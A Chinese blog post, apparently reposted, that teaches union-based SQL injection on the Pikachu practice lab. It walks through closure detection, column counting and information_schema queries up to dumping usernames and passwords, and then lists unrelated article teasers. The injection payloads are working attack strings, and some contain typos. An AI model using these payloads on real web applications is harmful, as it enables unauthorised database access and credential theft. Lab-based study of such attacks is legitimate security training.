今年十八,喜欢SQL注入

news2025/1/11 21:55:40

#1024程序员节|用代码,改变世界#

前言

🍀作者简介:被吉师散养、喜欢前端、学过后端、练过CTF、玩过DOS、不喜欢java的不知名学生。

🍁个人主页:被吉师散养的职业混子

🫒每日emo:怀揣着。。

🍂相应专栏:CTF专栏

 Pikachu靶场安装

mirrors / zhuifengshaonianhanlu / pikachu · GitCode

Pikachu靶场作为为数不多的中文靶场,做得可以说是很优秀了。

 进入此处路径,按注释修改

 修改完成后浏览器访问

 当然后缀按你们自己的命名而定。

SQL注入的顺序:

库名,表名,字段名,数据

 

首先明确SQL注入的前提:

1、我们输入的参数是可以修改的

2、参数可以被传到数据库中

判断闭合类型

单引号闭合

如果在输入1’后报错

首先观察报错信息,去掉最外面的一对单引号(因为报错的时候会自动在外面加一对双引号)

然后观察是否多了一个单引号

如果多,证明为单引号闭合

此时输入双引号则不会报错

双引号反之

数字型

输入例如1与2-1若返回结果相同,则为数字型闭合

也可以通过注释来处理

?id=1 # //get方法 url传参 #注释

?id=1 %23 //post方法 url传参 #注释

具体步骤

  1. 判断闭合符

按上述方法即可

      2.判断列数

联合查询

联合查询要求前后字段必须相等

同时在已知库名/其他,可以通过下述内容进行撰写

information_schema.schemata:记录数据库信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
schema_name 数据库名
table_name 表名
column_name 列名
table_schema 数据库名 

 关于这里的两个数据库名,可以如下进行区分

schema_name 数据库名相当于是一个个房间

table_schema 数据库名 ,则相当于房间里的床

该概念引自

 数据库中table 和 schema的区别 - panda521 - 博客园

原链接在此。

        1.order by方法

根据username进行排序

select id,username,passwd from t_user order by username;

根据数字进行排序:

select id,username,passwd from t_user order by 4;

若第四个字段不存在,则会报错

?id=1' order by 4# 报错

?id=1 order by 3 # 不报错

可以推导出第一个查询语句有三个字段

注入流程

        0、按上述方法判断闭合类型

        1.查数据库名

?id=-1 union select 1,database(),1#

注意,此处的-1需要是一个在数据库中id字段不存在的值,否则第一条信息会占用显示位,导致无法看到咱们需要看的查询数据

      2.查表名

group_concat(fileds)函数表示查询结果中的多条纪录合并为一行显示,默认使用逗号 分隔。 

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem=database()#

当然,也可以这样,直接

’1 union select 1,table_name from information_schema.tables where table_schem ='库名’#

好像也行

3.查列名

?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'#

4.查数据

?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user#

 通过查询concat()可知:该函数将每一条记录的每一个字段拼接成一个字符串,0x7e表示~,作为一个分割符出现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/378.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

牛客竞赛每日俩题 - Day5

DP贪心 年终奖_牛客题霸_牛客网 思路: 定义f(i,j)表示从左上角走到坐标(i,j)处能获得的最大奖励。 搜索所有从左上角走到右下角的路径,找到最优路径。 f(i,j)分三种情况: 第一列:f(i, 0) f(i-1, 0) board(i, 0) 如果…

Java:企业应该用Java构建供应链软件吗?

很多公司使用Java编程语言,Java是最流行的编程语言之一,它帮助开发人员简化复杂企业解决方案的应用程序开发过程。 供应链是零售和制造业的重要组成部分,6%的零售业公司使用Java,另一方面,4%的制造公司使用编程语言&am…

基于莱维飞行扰动策略的麻雀搜索算法-附代码

基于莱维飞行扰动策略的麻雀搜索算法 文章目录基于莱维飞行扰动策略的麻雀搜索算法1.麻雀优化算法2. 改进麻雀算法2.1 莱维飞行搜索机制2.2 莱维飞行扰动策略2.3 初始化混沌搜索机制3.实验结果4.参考文献5.Matlab代码6.Python代码摘要:为了解决麻雀搜索算法存在迭代…

(02)Cartographer源码无死角解析-(04) 熟悉bag文件,配置.launch与.lua文件,初步调参

本人讲解关于slam一系列文章汇总链接:史上最全slam从零开始,针对于本栏目讲解(02)Cartographer源码无死角解析-接如下: (02)Cartographer源码无死角解析- (00)目录_最新无死角讲解:https://blog.csdn.net/weixin_43013761/article/details/127350885 文…

算法 | 详解斐波那契数列问题

14天阅读挑战赛 本篇是学习了《趣学算法(第2版)》 第一章之后总结的。 上一篇讲到了等比数列求和问题,求Sn122223...263?S_n 1 2 2^2 2^3 ... 2^{63} ?Sn​122223...263?,该函数属于爆…

1024,我们节日

文章目录1024的前奏1024应该锻炼身体1024 ?为何是1024其他的1024代码有Bug,世界却温暖特殊的一类人群(一)特殊的一类人群(二)写在最后1024的前奏 写博文的时间是23号,距离1024这个标志性的节日…

趣学算法14天阅读|Day2

14天阅读挑战赛 文章目录前言什么是算法?算法复杂度如何评定好算法案例案例一:棋盘的麦子案例二:兔子数列总结前言 📫 作者简介:「六月暴雪飞梨花」,专注于研究Java,就职于科技型公司后端中级工…

@AutoConfigurationPackage注解详解

AutoConfigurationPackage是在springboot启动类注解SpringBootApplication下的EnableAutoConfiguration下。AutoConfigurationPackage作用是指定springboot扫描包,默认就是扫描启动类同包下的类。可以通过AutoConfigurationPackage来附加其他路径,然后sp…

asp.net园林绿化服务交易网站

本设计的目的是通过对园林绿化的初步了解,在巩固网站设计所学知识的基础上。运用于实践,在实践中强化理论知识,做到理论联系实践。在设计中学会搜集资料地方法,学会查阅设计规程。掌握设计步骤,同时培养创新能力&#…

【图像评价】基于matlab GUI图像评价系统【含Matlab源码 2185期】

一、图像质量评价 图像质量评价对图像处理算法的可行性分析以及某类算法达成效果的比较都起着非常重要的指导作用。随着图像处理技术的发展,对于图像质量评价的研究也日益深入,新的评价指标和评价算法不断涌现,共同推动了图像质量评价的进步…

【模型训练】YOLOv7旋翼无人机检测

YOLOv7旋翼无人机检测 1、YOLOv7算法旋翼无人机检测模型训练2、YOLOv7模型模型评估3、模型和数据集下载1、本项目采用YOLOv7算法实现对空中旋翼无人机的检测,在一万多张旋翼无人机检测数据集中训练得到,我们训练了YOLOv7模型,经评估我们得出了各个模型的评价指标; 2、目标类…

研发效能工程实践开篇

背景 随着技术的发展,大至一线互联网公司、小至几十人研发团队的公司都开始开展devops运动。大公司有能力自研,小公司则采用开源解决方案。如何实施devops业界已经有非常成熟的方案,所以本系列不再谈devops工具链以及如何实施。本系列想谈谈…

初识C++ - 类与对象(中篇·下半)

目录 赋值运算符重载 以下是一个日期类的运算符重载的案例(重点) 关于流插入与流提取的使用 方法一:定义与声明分离 方法二:使用内联函数 const成员 概念 关于上述日期类代码为什么需要在函数后面加入const 取地址及const取地址操作符重载 …

5G核心网技术基础自学系列 | 网络切片

书籍来源:《5G核心网 赋能数字化时代》 一边学习一边整理内容,并与大家分享,侵权即删,谢谢支持! 附上汇总贴:5G核心网技术基础自学系列 | 汇总_COCOgsta的博客-CSDN博客 支持网络切片是设计5G架构的主要驱…

【牛客刷题--SQL篇】必会的常用函数之条件函数SQL26计算25岁以上和以下的用户数量(多种写法)

💖个人主页:与自己作战 💯作者简介:CSDN博客专家、CSDN大数据领域优质创作者、CSDN内容合伙人、阿里云专家博主 💞牛客刷题系列篇:【SQL篇】】【Python篇】【Java篇】 📌推荐刷题网站注册地址&a…

基于WEB的二维码生成系统设计与实现(Asp.net)

目 录 1 引言 6 2 二维码的生成原理 6 2.1基础知识 6 2.1.1定位图案 7 2.1.2功能性数据 8 2.1.3数据码和纠错码 8 2.2数据编码 8 2.3结束符和补齐符 9 2.3.1补齐码(Padding Bytes) 9 2.3.2纠错码 10 2.4最终编码 11 2.4.1穿插放置 11 2.4.2Remainder Bi…

JWT基础概念

1. 介绍 JWT (JSON Web Token) 是目前最流行的跨域认证解决方案,是一种基于 Token 的认证授权机制。 从 JWT 的全称可以看出,JWT 本身也是 Token,一种规范化之后的 JSON 结构的 Token。 JWT 自身包含了身份验证所需要…

【正点原子I.MX6U-MINI应用篇】6、嵌入式Linux在LCD屏幕上显示字符

一、原始方式: 取模显示字符 LCD显示屏是由width * height个像素点构成的,显示字符,一个非常容易想到的方法便是对字符取模,然后在LCD屏上打点显示字符;如果大家以前学习过单片机,想必接触过一些显示屏&am…

三次、五次多项式插值(附代码)

文章目录一、三次多项式插值二、五次多项式插值三、matlab代码三次、五次多项式插值在工程实践中很常见。求解多项式的系数最直接的方法是根据端点处的约束条件,列出线性方程组,再写成矩阵方程AXB,然后用通用的方法(如高斯消元法、LU分解等)解…

二叉树广度优先搜索、深度优先搜索(前序、中序、后序)遍历,动图详解-Java/Kotlin双版本代码

自古逢秋悲寂寥,我言秋日胜春朝 二叉树结构说明 本博客使用树节点结构,如下所示: Kotlin 版本 class TreeNode(var value: String, var leftNode: TreeNode? null, var rightNode: TreeNode? null)Java 版本 class TreeNode(){public…